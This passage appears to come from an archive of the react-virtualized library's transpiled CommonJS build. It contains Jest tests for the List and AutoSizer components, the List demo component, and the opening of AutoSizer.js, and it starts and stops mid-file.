      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        height: 50,
        onRowsRendered: onRowsRendered
      })));
      expect(numCalls).toEqual(2);
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(4);
    });
    it('should not call :onRowsRendered if no rows are rendered', function () {
      var startIndex, stopIndex;
      (0, _TestUtils.render)(getMarkup({
        height: 0,
        onRowsRendered: function onRowsRendered(params) {
          var _params2;

          return _params2 = params, startIndex = _params2.startIndex, stopIndex = _params2.stopIndex, _params2;
        }
      }));
      expect(startIndex).toEqual(undefined);
      expect(stopIndex).toEqual(undefined);
    });
  });
  describe(':scrollTop property', function () {
    it('should render correctly when an initial :scrollTop property is specified', function () {
      var startIndex, stopIndex;
      (0, _TestUtils.render)(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params3;

          return _params3 = params, startIndex = _params3.startIndex, stopIndex = _params3.stopIndex, _params3;
        },
        scrollTop: 100
      }));
      expect(startIndex).toEqual(10);
      expect(stopIndex).toEqual(19);
    });
    it('should render correctly when :scrollTop property is updated', function () {
      var startIndex, stopIndex;
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params4;

          return _params4 = params, startIndex = _params4.startIndex, stopIndex = _params4.stopIndex, _params4;
        }
      })));
      expect(startIndex).toEqual(0);
      expect(stopIndex).toEqual(9);
      (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        onRowsRendered: function onRowsRendered(params) {
          var _params5;

          return _params5 = params, startIndex = _params5.startIndex, stopIndex = _params5.stopIndex, _params5;
        },
        scrollTop: 100
      })));
      expect(startIndex).toEqual(10);
      expect(stopIndex).toEqual(19);
    });
  });
  describe('styles, classNames, and ids', function () {
    it('should use the expected global CSS classNames', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(node.className).toContain('ReactVirtualized__List');
    });
    it('should use a custom :className if specified', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        className: 'foo'
      })));
      expect(node.className).toContain('foo');
    });
    it('should use a custom :id if specified', function () {
      var node = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        id: 'bar'
      })));
      expect(node.getAttribute('id')).toEqual('bar');
    });
    it('should use a custom :style if specified', function () {
      var style = {
        backgroundColor: 'red'
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        style: style
      })));
      expect(rendered.style.backgroundColor).toEqual('red');
    });
    it('should set the width of a row to be 100% by default', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      var cell = rendered.querySelector('.listItem');
      expect(cell.style.width).toEqual('100%');
    });
  });
  describe('overscanRowCount', function () {
    it('should not overscan by default', function () {
      var mock = jest.fn();
      mock.mockImplementation(overscanIndicesGetter);
      (0, _TestUtils.render)(getMarkup({
        overscanIndicesGetter: mock
      }));
      expect(mock.mock.calls[0][0].overscanCellsCount).toEqual(0);
      expect(mock.mock.calls[1][0].overscanCellsCount).toEqual(0);
    });
    it('should overscan the specified amount', function () {
      var mock = jest.fn();
      mock.mockImplementation(overscanIndicesGetter);
      (0, _TestUtils.render)(getMarkup({
        overscanIndicesGetter: mock,
        overscanRowCount: 10
      }));
      expect(mock.mock.calls[0][0].overscanCellsCount).toEqual(0);
      expect(mock.mock.calls[1][0].overscanCellsCount).toEqual(10);
    });
  });
  describe('onScroll', function () {
    it('should trigger callback when component initially mounts', function () {
      var onScrollCalls = [];
      (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      expect(onScrollCalls).toEqual([{
        clientHeight: 100,
        scrollHeight: 1000,
        scrollTop: 0
      }]);
    });
    it('should trigger callback when component scrolls', function () {
      var onScrollCalls = [];
      var rendered = (0, _TestUtils.render)(getMarkup({
        onScroll: function onScroll(params) {
          return onScrollCalls.push(params);
        }
      }));
      var target = {
        scrollLeft: 0,
        scrollTop: 100
      };
      rendered.Grid._scrollingContainer = target; // HACK to work around _onScroll target check

      _testUtils.Simulate.scroll((0, _reactDom.findDOMNode)(rendered), {
        target: target
      });

      expect(onScrollCalls[onScrollCalls.length - 1]).toEqual({
        clientHeight: 100,
        scrollHeight: 1000,
        scrollTop: 100
      });
    });
  });
  describe('measureAllRows', function () {
    it('should measure any unmeasured rows', function () {
      var rendered = (0, _TestUtils.render)(getMarkup({
        estimatedRowSize: 15,
        height: 0,
        rowCount: 10,
        rowHeight: function rowHeight() {
          return 20;
        },
        width: 0
      }));
      expect(rendered.Grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(150);
      rendered.measureAllRows();
      expect(rendered.Grid.state.instanceProps.rowSizeAndPositionManager.getTotalSize()).toEqual(200);
    });
  });
  describe('recomputeRowHeights', function () {
    it('should recompute row heights and other values when called', function () {
      var indices = [];

      var rowHeight = function rowHeight(_ref3) {
        var index = _ref3.index;
        indices.push(index);
        return 10;
      };

      var component = (0, _TestUtils.render)(getMarkup({
        rowHeight: rowHeight,
        rowCount: 50
      }));
      indices.splice(0);
      component.recomputeRowHeights(); // Only the rows required to fill the current viewport will be rendered

      expect(indices[0]).toEqual(0);
      expect(indices[indices.length - 1]).toEqual(9);
      indices.splice(0);
      component.recomputeRowHeights(4);
      expect(indices[0]).toEqual(4);
      expect(indices[indices.length - 1]).toEqual(9);
    });
  });
  describe('forceUpdateGrid', function () {
    it('should refresh inner Grid content when called', function () {
      var marker = 'a';

      function rowRenderer(_ref4) {
        var index = _ref4.index,
            key = _ref4.key,
            style = _ref4.style;
        return React.createElement("div", {
          key: key,
          style: style
        }, index, marker);
      }

      var component = (0, _TestUtils.render)(getMarkup({
        rowRenderer: rowRenderer
      }));
      var node = (0, _reactDom.findDOMNode)(component);
      expect(node.textContent).toContain('1a');
      marker = 'b';
      component.forceUpdateGrid();
      expect(node.textContent).toContain('1b');
    });
  });
  describe('tabIndex', function () {
    it('should be focusable by default', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
      expect(rendered.tabIndex).toEqual(0);
    });
    it('should allow tabIndex to be overridden', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        tabIndex: -1
      })));
      expect(rendered.tabIndex).toEqual(-1);
    });
  });
  it('should pass the cellRenderer an :isVisible flag', function () {
    var rowRendererCalls = [];

    function rowRenderer(props) {
      rowRendererCalls.push(props);
      return null;
    }

    (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      height: 50,
      overscanIndicesGetter: _Grid.defaultOverscanIndicesGetter,
      overscanRowCount: 1,
      rowHeight: 50,
      rowRenderer: rowRenderer
    })));
    expect(rowRendererCalls[0].isVisible).toEqual(true);
    expect(rowRendererCalls[1].isVisible).toEqual(false);
  });
  it('should relay the Grid :parent param to the :rowRenderer', function () {
    var rowRenderer = jest.fn().mockReturnValue(null);
    (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      rowRenderer: rowRenderer
    })));
    expect(rowRenderer.mock.calls[0][0].parent).not.toBeUndefined();
  });
  describe('pure', function () {
    it('should not re-render unless props have changed', function () {
      var rowRendererCalled = false;

      function rowRenderer(_ref5) {
        var index = _ref5.index,
            key = _ref5.key,
            style = _ref5.style;
        rowRendererCalled = true;
        return React.createElement("div", {
          key: key,
          style: style
        }, index);
      }

      var markup = getMarkup({
        rowRenderer: rowRenderer
      });
      (0, _TestUtils.render)(markup);
      expect(rowRendererCalled).toEqual(true);
      rowRendererCalled = false;
      (0, _TestUtils.render)(markup);
      expect(rowRendererCalled).toEqual(false);
    });
  });
  it('should set the width of the single-column inner Grid to auto', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
    expect(rendered.querySelector('.ReactVirtualized__Grid__innerScrollContainer').style.width).toEqual('auto');
  });
});commonjs/List/List.example.js000064400000023715151677406000012225 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf2 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var _clsx = _interopRequireDefault(require("clsx"));

var _immutable = _interopRequireDefault(require("immutable"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var React = _interopRequireWildcard(require("react"));

var _ListExample = _interopRequireDefault(require("./List.example.css"));

var _AutoSizer = _interopRequireDefault(require("../AutoSizer"));

var _List = _interopRequireDefault(require("./List"));

var _ContentBox = require("../demo/ContentBox");

var _LabeledInput = require("../demo/LabeledInput");

var ListExample =
/*#__PURE__*/
function (_React$PureComponent) {
  (0, _inherits2["default"])(ListExample, _React$PureComponent);

  function ListExample(props, context) {
    var _this;

    (0, _classCallCheck2["default"])(this, ListExample);
    _this = (0, _possibleConstructorReturn2["default"])(this, (0, _getPrototypeOf2["default"])(ListExample).call(this, props, context));
    _this.state = {
      listHeight: 300,
      listRowHeight: 50,
      overscanRowCount: 10,
      rowCount: context.list.size,
      scrollToIndex: undefined,
      showScrollingPlaceholder: false,
      useDynamicRowHeight: false
    };
    _this._getRowHeight = _this._getRowHeight.bind((0, _assertThisInitialized2["default"])(_this));
    _this._noRowsRenderer = _this._noRowsRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onRowCountChange = _this._onRowCountChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._onScrollToRowChange = _this._onScrollToRowChange.bind((0, _assertThisInitialized2["default"])(_this));
    _this._rowRenderer = _this._rowRenderer.bind((0, _assertThisInitialized2["default"])(_this));
    return _this;
  }

  (0, _createClass2["default"])(ListExample, [{
    key: "render",
    value: function render() {
      var _this2 = this;

      var _this$state = this.state,
          listHeight = _this$state.listHeight,
          listRowHeight = _this$state.listRowHeight,
          overscanRowCount = _this$state.overscanRowCount,
          rowCount = _this$state.rowCount,
          scrollToIndex = _this$state.scrollToIndex,
          showScrollingPlaceholder = _this$state.showScrollingPlaceholder,
          useDynamicRowHeight = _this$state.useDynamicRowHeight;
      return React.createElement(_ContentBox.ContentBox, null, React.createElement(_ContentBox.ContentBoxHeader, {
        text: "List",
        sourceLink: "https://github.com/bvaughn/react-virtualized/blob/master/source/List/List.example.js",
        docsLink: "https://github.com/bvaughn/react-virtualized/blob/master/docs/List.md"
      }), React.createElement(_ContentBox.ContentBoxParagraph, null, "The list below is windowed (or \"virtualized\") meaning that only the visible rows are rendered. Adjust its configurable properties below to see how it reacts."), React.createElement(_ContentBox.ContentBoxParagraph, null, React.createElement("label", {
        className: _ListExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Use dynamic row heights?",
        checked: useDynamicRowHeight,
        className: _ListExample["default"].checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            useDynamicRowHeight: event.target.checked
          });
        }
      }), "Use dynamic row heights?"), React.createElement("label", {
        className: _ListExample["default"].checkboxLabel
      }, React.createElement("input", {
        "aria-label": "Show scrolling placeholder?",
        checked: showScrollingPlaceholder,
        className: _ListExample["default"].checkbox,
        type: "checkbox",
        onChange: function onChange(event) {
          return _this2.setState({
            showScrollingPlaceholder: event.target.checked
          });
        }
      }), "Show scrolling placeholder?")), React.createElement(_LabeledInput.InputRow, null, React.createElement(_LabeledInput.LabeledInput, {
        label: "Num rows",
        name: "rowCount",
        onChange: this._onRowCountChange,
        value: rowCount
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Scroll to",
        name: "onScrollToRow",
        placeholder: "Index...",
        onChange: this._onScrollToRowChange,
        value: scrollToIndex || ''
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "List height",
        name: "listHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            listHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: listHeight
      }), React.createElement(_LabeledInput.LabeledInput, {
        disabled: useDynamicRowHeight,
        label: "Row height",
        name: "listRowHeight",
        onChange: function onChange(event) {
          return _this2.setState({
            listRowHeight: parseInt(event.target.value, 10) || 1
          });
        },
        value: listRowHeight
      }), React.createElement(_LabeledInput.LabeledInput, {
        label: "Overscan",
        name: "overscanRowCount",
        onChange: function onChange(event) {
          return _this2.setState({
            overscanRowCount: parseInt(event.target.value, 10) || 0
          });
        },
        value: overscanRowCount
      })), React.createElement("div", null, React.createElement(_AutoSizer["default"], {
        disableHeight: true
      }, function (_ref) {
        var width = _ref.width;
        return React.createElement(_List["default"], {
          ref: "List",
          className: _ListExample["default"].List,
          height: listHeight,
          overscanRowCount: overscanRowCount,
          noRowsRenderer: _this2._noRowsRenderer,
          rowCount: rowCount,
          rowHeight: useDynamicRowHeight ? _this2._getRowHeight : listRowHeight,
          rowRenderer: _this2._rowRenderer,
          scrollToIndex: scrollToIndex,
          width: width
        });
      })));
    }
  }, {
    key: "_getDatum",
    value: function _getDatum(index) {
      var list = this.context.list;
      return list.get(index % list.size);
    }
  }, {
    key: "_getRowHeight",
    value: function _getRowHeight(_ref2) {
      var index = _ref2.index;
      return this._getDatum(index).size;
    }
  }, {
    key: "_noRowsRenderer",
    value: function _noRowsRenderer() {
      return React.createElement("div", {
        className: _ListExample["default"].noRows
      }, "No rows");
    }
  }, {
    key: "_onRowCountChange",
    value: function _onRowCountChange(event) {
      var rowCount = parseInt(event.target.value, 10) || 0;
      this.setState({
        rowCount: rowCount
      });
    }
  }, {
    key: "_onScrollToRowChange",
    value: function _onScrollToRowChange(event) {
      var rowCount = this.state.rowCount;
      var scrollToIndex = Math.min(rowCount - 1, parseInt(event.target.value, 10));

      if (isNaN(scrollToIndex)) {
        scrollToIndex = undefined;
      }

      this.setState({
        scrollToIndex: scrollToIndex
      });
    }
  }, {
    key: "_rowRenderer",
    value: function _rowRenderer(_ref3) {
      var index = _ref3.index,
          isScrolling = _ref3.isScrolling,
          key = _ref3.key,
          style = _ref3.style;
      var _this$state2 = this.state,
          showScrollingPlaceholder = _this$state2.showScrollingPlaceholder,
          useDynamicRowHeight = _this$state2.useDynamicRowHeight;

      if (showScrollingPlaceholder && isScrolling) {
        return React.createElement("div", {
          className: (0, _clsx["default"])(_ListExample["default"].row, _ListExample["default"].isScrollingPlaceholder),
          key: key,
          style: style
        }, "Scrolling...");
      }

      var datum = this._getDatum(index);

      var additionalContent;

      if (useDynamicRowHeight) {
        switch (datum.size) {
          case 75:
            additionalContent = React.createElement("div", null, "It is medium-sized.");
            break;

          case 100:
            additionalContent = React.createElement("div", null, "It is large-sized.", React.createElement("br", null), "It has a 3rd row.");
            break;
        }
      }

      return React.createElement("div", {
        className: _ListExample["default"].row,
        key: key,
        style: style
      }, React.createElement("div", {
        className: _ListExample["default"].letter,
        style: {
          backgroundColor: datum.color
        }
      }, datum.name.charAt(0)), React.createElement("div", null, React.createElement("div", {
        className: _ListExample["default"].name
      }, datum.name), React.createElement("div", {
        className: _ListExample["default"].index
      }, "This is row ", index), additionalContent), useDynamicRowHeight && React.createElement("span", {
        className: _ListExample["default"].height
      }, datum.size, "px"));
    }
  }]);
  return ListExample;
}(React.PureComponent);

exports["default"] = ListExample;
(0, _defineProperty2["default"])(ListExample, "contextTypes", {
  list: _propTypes["default"].instanceOf(_immutable["default"].List).isRequired
});commonjs/AutoSizer/AutoSizer.jest.js000064400000031545151677406000013563 0ustar00"use strict";

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _regenerator = _interopRequireDefault(require("@babel/runtime/regenerator"));

var React = _interopRequireWildcard(require("react"));

var _reactDom = require("react-dom");

var _TestUtils = require("../TestUtils");

var _AutoSizer = _interopRequireDefault(require("./AutoSizer"));

function DefaultChildComponent(_ref) {
  var height = _ref.height,
      width = _ref.width,
      foo = _ref.foo,
      bar = _ref.bar;
  return React.createElement("div", null, "width:".concat(width, ", height:").concat(height, ", foo:").concat(foo, ", bar:").concat(bar));
}

describe('AutoSizer', function () {
  function getMarkup() {
    var _ref2 = arguments.length > 0 && arguments[0] !== undefined ? arguments[0] : {},
        _ref2$bar = _ref2.bar,
        bar = _ref2$bar === void 0 ? 123 : _ref2$bar,
        _ref2$ChildComponent = _ref2.ChildComponent,
        ChildComponent = _ref2$ChildComponent === void 0 ? DefaultChildComponent : _ref2$ChildComponent,
        _ref2$className = _ref2.className,
        className = _ref2$className === void 0 ? undefined : _ref2$className,
        _ref2$defaultHeight = _ref2.defaultHeight,
        defaultHeight = _ref2$defaultHeight === void 0 ? undefined : _ref2$defaultHeight,
        _ref2$defaultWidth = _ref2.defaultWidth,
        defaultWidth = _ref2$defaultWidth === void 0 ? undefined : _ref2$defaultWidth,
        _ref2$disableHeight = _ref2.disableHeight,
        disableHeight = _ref2$disableHeight === void 0 ? false : _ref2$disableHeight,
        _ref2$disableWidth = _ref2.disableWidth,
        disableWidth = _ref2$disableWidth === void 0 ? false : _ref2$disableWidth,
        _ref2$foo = _ref2.foo,
        foo = _ref2$foo === void 0 ? 456 : _ref2$foo,
        _ref2$height = _ref2.height,
        height = _ref2$height === void 0 ? 100 : _ref2$height,
        onResize = _ref2.onResize,
        _ref2$paddingBottom = _ref2.paddingBottom,
        paddingBottom = _ref2$paddingBottom === void 0 ? 0 : _ref2$paddingBottom,
        _ref2$paddingLeft = _ref2.paddingLeft,
        paddingLeft = _ref2$paddingLeft === void 0 ? 0 : _ref2$paddingLeft,
        _ref2$paddingRight = _ref2.paddingRight,
        paddingRight = _ref2$paddingRight === void 0 ? 0 : _ref2$paddingRight,
        _ref2$paddingTop = _ref2.paddingTop,
        paddingTop = _ref2$paddingTop === void 0 ? 0 : _ref2$paddingTop,
        _ref2$style = _ref2.style,
        style = _ref2$style === void 0 ? undefined : _ref2$style,
        _ref2$width = _ref2.width,
        width = _ref2$width === void 0 ? 200 : _ref2$width;

    var wrapperStyle = {
      boxSizing: 'border-box',
      height: height,
      paddingBottom: paddingBottom,
      paddingLeft: paddingLeft,
      paddingRight: paddingRight,
      paddingTop: paddingTop,
      width: width
    };
    mockOffsetSize(width, height);
    return React.createElement("div", {
      style: wrapperStyle
    }, React.createElement(_AutoSizer["default"], {
      className: className,
      defaultHeight: defaultHeight,
      defaultWidth: defaultWidth,
      disableHeight: disableHeight,
      disableWidth: disableWidth,
      onResize: onResize,
      style: style
    }, function (_ref3) {
      var height = _ref3.height,
          width = _ref3.width;
      return React.createElement(ChildComponent, {
        width: disableWidth ? undefined : width,
        height: disableHeight ? undefined : height,
        bar: bar,
        foo: foo
      });
    }));
  } // AutoSizer uses offsetWidth and offsetHeight.
  // Jest runs in JSDom which doesn't support measurements APIs.


  function mockOffsetSize(width, height) {
    Object.defineProperty(HTMLElement.prototype, 'offsetHeight', {
      configurable: true,
      value: height
    });
    Object.defineProperty(HTMLElement.prototype, 'offsetWidth', {
      configurable: true,
      value: width
    });
  }

  it('should relay properties to ChildComponent or React child', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
    expect(rendered.textContent).toContain('foo:456');
    expect(rendered.textContent).toContain('bar:123');
  });
  it('should set the correct initial width and height of ChildComponent or React child', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup()));
    expect(rendered.textContent).toContain('height:100');
    expect(rendered.textContent).toContain('width:200');
  });
  it('should account for padding when calculating the available width and height', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      paddingBottom: 10,
      paddingLeft: 4,
      paddingRight: 4,
      paddingTop: 15
    })));
    expect(rendered.textContent).toContain('height:75');
    expect(rendered.textContent).toContain('width:192');
  });
  it('should not update :width if :disableWidth is true', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      disableWidth: true
    })));
    expect(rendered.textContent).toContain('height:100');
    expect(rendered.textContent).toContain('width:undefined');
  });
  it('should not update :height if :disableHeight is true', function () {
    var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
      disableHeight: true
    })));
    expect(rendered.textContent).toContain('height:undefined');
    expect(rendered.textContent).toContain('width:200');
  });

  function simulateResize(_ref4) {
    var element, height, width, trigger;
    return _regenerator["default"].async(function simulateResize$(_context) {
      while (1) {
        switch (_context.prev = _context.next) {
          case 0:
            element = _ref4.element, height = _ref4.height, width = _ref4.width;
            mockOffsetSize(width, height); // Trigger detectElementResize library by faking a scroll event
            // TestUtils Simulate doesn't work here in JSDom so we manually dispatch

            trigger = element.querySelector('.contract-trigger');
            trigger.dispatchEvent(new Event('scroll')); // Allow requestAnimationFrame to be invoked before continuing

            _context.next = 6;
            return _regenerator["default"].awrap(new Promise(function (resolve) {
              return setTimeout(resolve, 100);
            }));

          case 6:
          case "end":
            return _context.stop();
        }
      }
    });
  }

  it('should update :height after a resize event', function _callee(done) {
    var rendered;
    return _regenerator["default"].async(function _callee$(_context2) {
      while (1) {
        switch (_context2.prev = _context2.next) {
          case 0:
            rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
              height: 100,
              width: 200
            })));
            expect(rendered.textContent).toContain('height:100');
            expect(rendered.textContent).toContain('width:200');
            _context2.next = 5;
            return _regenerator["default"].awrap(simulateResize({
              element: rendered,
              height: 400,
              width: 300
            }));

          case 5:
            expect(rendered.textContent).toContain('height:400');
            expect(rendered.textContent).toContain('width:300');
            done();

          case 8:
          case "end":
            return _context2.stop();
        }
      }
    });
  });
  describe('onResize and (re)render', function () {
    it('should trigger when size changes', function _callee2(done) {
      var onResize, ChildComponent, rendered;
      return _regenerator["default"].async(function _callee2$(_context3) {
        while (1) {
          switch (_context3.prev = _context3.next) {
            case 0:
              onResize = jest.fn();
              ChildComponent = jest.fn().mockImplementation(DefaultChildComponent);
              rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
                ChildComponent: ChildComponent,
                height: 100,
                onResize: onResize,
                width: 200
              })));
              ChildComponent.mockClear(); // TODO Improve initial check in version 10; see AutoSizer render()

              expect(onResize).toHaveBeenCalledTimes(1);
              _context3.next = 7;
              return _regenerator["default"].awrap(simulateResize({
                element: rendered,
                height: 400,
                width: 300
              }));

            case 7:
              expect(ChildComponent).toHaveBeenCalledTimes(1);
              expect(onResize).toHaveBeenCalledTimes(2);
              done();

            case 10:
            case "end":
              return _context3.stop();
          }
        }
      });
    });
    it('should only trigger when height changes for disableWidth == true', function _callee3(done) {
      var onResize, ChildComponent, rendered;
      return _regenerator["default"].async(function _callee3$(_context4) {
        while (1) {
          switch (_context4.prev = _context4.next) {
            case 0:
              onResize = jest.fn();
              ChildComponent = jest.fn().mockImplementation(DefaultChildComponent);
              rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
                ChildComponent: ChildComponent,
                disableWidth: true,
                height: 100,
                onResize: onResize,
                width: 200
              })));
              ChildComponent.mockClear(); // TODO Improve initial check in version 10; see AutoSizer render()

              expect(onResize).toHaveBeenCalledTimes(1);
              _context4.next = 7;
              return _regenerator["default"].awrap(simulateResize({
                element: rendered,
                height: 100,
                width: 300
              }));

            case 7:
              expect(ChildComponent).toHaveBeenCalledTimes(0);
              expect(onResize).toHaveBeenCalledTimes(1);
              _context4.next = 11;
              return _regenerator["default"].awrap(simulateResize({
                element: rendered,
                height: 200,
                width: 300
              }));

            case 11:
              expect(ChildComponent).toHaveBeenCalledTimes(1);
              expect(onResize).toHaveBeenCalledTimes(2);
              done();

            case 14:
            case "end":
              return _context4.stop();
          }
        }
      });
    });
    it('should only trigger when width changes for disableHeight == true', function _callee4(done) {
      var onResize, ChildComponent, rendered;
      return _regenerator["default"].async(function _callee4$(_context5) {
        while (1) {
          switch (_context5.prev = _context5.next) {
            case 0:
              onResize = jest.fn();
              ChildComponent = jest.fn().mockImplementation(DefaultChildComponent);
              rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
                ChildComponent: ChildComponent,
                disableHeight: true,
                height: 100,
                onResize: onResize,
                width: 200
              })));
              ChildComponent.mockClear(); // TODO Improve initial check in version 10; see AutoSizer render()

              expect(onResize).toHaveBeenCalledTimes(1);
              _context5.next = 7;
              return _regenerator["default"].awrap(simulateResize({
                element: rendered,
                height: 200,
                width: 200
              }));

            case 7:
              expect(ChildComponent).toHaveBeenCalledTimes(0);
              expect(onResize).toHaveBeenCalledTimes(1);
              _context5.next = 11;
              return _regenerator["default"].awrap(simulateResize({
                element: rendered,
                height: 200,
                width: 300
              }));

            case 11:
              expect(ChildComponent).toHaveBeenCalledTimes(1);
              expect(onResize).toHaveBeenCalledTimes(2);
              done();

            case 14:
            case "end":
              return _context5.stop();
          }
        }
      });
    });
  });
  describe('className and style', function () {
    it('should use a custom :className if specified', function () {
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        className: 'foo'
      })));
      expect(rendered.firstChild.className).toContain('foo');
    });
    it('should use a custom :style if specified', function () {
      var style = {
        backgroundColor: 'red'
      };
      var rendered = (0, _reactDom.findDOMNode)((0, _TestUtils.render)(getMarkup({
        style: style
      })));
      expect(rendered.firstChild.style.backgroundColor).toEqual('red');
    });
  });
});commonjs/AutoSizer/AutoSizer.js000064400000022232151677406000012610 0ustar00"use strict";

var _interopRequireDefault = require("@babel/runtime/helpers/interopRequireDefault");

var _interopRequireWildcard = require("@babel/runtime/helpers/interopRequireWildcard");

Object.defineProperty(exports, "__esModule", {
  value: true
});
exports["default"] = void 0;

var _classCallCheck2 = _interopRequireDefault(require("@babel/runtime/helpers/classCallCheck"));

var _createClass2 = _interopRequireDefault(require("@babel/runtime/helpers/createClass"));

var _possibleConstructorReturn2 = _interopRequireDefault(require("@babel/runtime/helpers/possibleConstructorReturn"));

var _getPrototypeOf3 = _interopRequireDefault(require("@babel/runtime/helpers/getPrototypeOf"));

var _assertThisInitialized2 = _interopRequireDefault(require("@babel/runtime/helpers/assertThisInitialized"));

var _inherits2 = _interopRequireDefault(require("@babel/runtime/helpers/inherits"));

var _defineProperty2 = _interopRequireDefault(require("@babel/runtime/helpers/defineProperty"));

var React = _interopRequireWildcard(require("react"));

var _detectElementResize = _interopRequireDefault(require("../vendor/detectElementResize"));

var _propTypes = _interopRequireDefault(require("prop-types"));

var _class, _temp;

function ownKeys(object, enumerableOnly) { var keys = Object.keys(object); if (Object.getOwnPropertySymbols) { var symbols = Object.getOwnPropertySymbols(object); if (enumerableOnly) symbols = symbols.filter(function (sym) { return Object.getOwnPropertyDescriptor(object, sym).enumerable; }); keys.push.apply(keys, symbols); } return keys; }

function _objectSpread(target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] != null ? arguments[i] : {}; if (i % 2) { ownKeys(source, true).forEach(function (key) { (0, _defineProperty2["default"])(target, key, source[key]); }); } else if (Object.getOwnPropertyDescriptors) { Object.defineProperties(target, Object.getOwnPropertyDescriptors(source)); } else { ownKeys(source).forEach(function (key) { Object.defineProperty(target, key, Object.getOwnPropertyDescriptor(source, key)); }); } } return target; }

var AutoSizer = (_temp = _class =
/*#__PURE__*/
function (_React$Component) {
  (0, _inherits2["default"])(AutoSizer, _React$Component);

  function AutoSizer() {
    var _getPrototypeOf2;

    var _this;

    (0, _classCallCheck2["default"])(this, AutoSizer);

    for (var _len = arguments.length, args = new Array(_len), _key = 0; _key < _len; _key++) {
      args[_key] = arguments[_key];
    }

    _this = (0, _possibleConstructorReturn2["default"])(this, (_getPrototypeOf2 = (0, _getPrototypeOf3["default"])(AutoSizer)).call.apply(_getPrototypeOf2, [this].concat(args)));
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "state", {
      height: _this.props.defaultHeight || 0,
      width: _this.props.defaultWidth || 0
    });
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_parentNode", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_autoSizer", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_window", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_detectElementResize", void 0);
    (0, _defineProperty2["default"])((0, _assertThisInitialized2["default"])(_this), "_onResize", function () {
      var _this$props = _this.props,
          disableHeight = _this$props.disableHeight,
          disableWidth = _this$props.disableWidth,
          onResize = _this$props.onResize;

      if (_this._parentNode) {
        // Guard against AutoSizer component being removed from the DOM immediately after being added.
        // This can result in invalid style values which can result in NaN values if we don't handle them.
        // See issue #150 for more context.
        var height = _this._parentNode.offsetHeight || 0;
        var width = _this._parentNode.offsetWidth || 0;
        var win = _this._window || window;
        var style = win.getComputedStyle(_this._parentNode) || {};
        var paddingLeft = parseInt(style.paddingLeft, 10) || 0;
        var paddingRight = parseInt(style.paddingRight, 10) || 0;
        var paddingTop = parseInt(style.paddingTop, 10) || 0;
        var paddingBottom = parseInt(style.paddingBottom, 10) || 0;
        var newHeight = height - paddingTop - paddingBottom;
        var newWidth = width - paddingLeft - paddingRight;

        if (!disableHeight && _this.state.height !== newHeight || !disableWidth && _this.state.width !== newWidth) {
          _this.setState({
